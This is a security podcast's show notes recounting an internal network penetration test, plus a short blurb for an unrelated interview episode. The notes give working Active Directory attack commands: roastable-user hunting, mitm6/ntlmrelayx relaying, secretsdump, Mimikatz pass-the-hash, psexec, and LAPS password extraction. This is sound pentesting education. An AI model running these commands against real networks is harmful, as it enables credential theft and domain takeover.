7MS #455: Tales of Internal Network Pentest Pwnage - Part 24

7MS #455: Tales of Internal Network Pentest Pwnage - Part 24

Hey everybody! Sorry that we're late again with today's episode, but I got COVID shot #2 and it kicked my behind BIG TIME today. But I'm vertical today and back amongst the living and thrilled to be sharing with you another tale of pentest pwnage! Yeah! This might be my favorite tale yet because:

  • I got to use some of my new CRTP skills!

  • Make sure on your pentests that you're looking for "roastable" users. Harmj0y has a great article on this, but the TLDR is make sure you run PowerView with the -PreauthNotRequired flag to hunt for these users:

Get-DomainUser -PreauthNotRequired
  • Check for misconfigured LAPS installs with Get-LAPSPasswords!

  • The combination of mitm6.py -i eth0 -d company.local --no-ra --ignore-nofqdn +
    ntlmrelayx -t ldaps://domain.controller.ip.address -wh attacker-wpad --delegate-access is reeeeeealllllyyyyyyy awesome and effective!

  • When you are doing the --delegate-access trick, don't ignore (like I did for years) if you get administrative impersonation access on a regular workstation. You can still abuse it by impersonating an admin, run secretsdump or pilfer the machine for additional goodies!

  • SharpShares is a cool way to find shares your account has access to.

  • I didn't get to use it on this engagement but Chisel looks to be a rad way to tunnel information

  • Once you've dumped all the domain hashes with secretsdump, don't forget (like me) that you can do some nice Mimikatz'ing to leverage those hashes! For example:

sekurlsa::pth /user:administrator /ntlm:hash-of-the-administrator-user /domain:yourdomain.com

Do that and bam! a new command prompt opens with administrator privileges! Keep in mind though, if you do a whoami you will still be SOMEWORKSTATION\joeblo, but you can do something like psexec \\VICTIM-SERVER cmd.exe and then do a whoami and then POW! - you're running as domain admin!

  • Once you've got domain admin access, why not run Get-LAPSPasswords again to get all the local admin passwords across the whole enterprise? Or you can do get-netcomputer VICTIM-SERVER and look for the mc-mcs-admpwd value - which is the LAPS password! Whooee!!! That's fun!

  • Armed with all the local admin passwords, I was able to run net use Q: \\VICTIM-SERVER\C$" /user:Adminisrator LAPS-PASSWORD to hook a network drive to that share. You can also do net view \\VICTIM-SERVER\ to see all the shares you can hook to. And that gave me all the info I needed to find the company's crowned jewels :-)

7MS #544: Interview with Nato Riley of Blumira

Today’s episode is brought to us by Blumira, which provides easy to use, automated detection and response that can be setup in…well…about 7 minutes! Detect and resolve security threats faster and prevent breaches. Try it free today at blumira.com/7ms! Today we have a really fun interview with Nato Riley of Blumira. He cut his IT/security teeth working for a cell phone company, exorcising malware demons out of workstations, and even building an email-based SIEM. He has had a very cool career path that involves embracing newbness, pushing aside imposter syndrome, and even begging for jobs! I think this interview can best be summed up by a direct quote from Nato: "Things absolutely go wrong, and I think that's what deters people from trying. But just because something goes wrong, doesn't mean you're necessarily going to die from it. So why not try?"
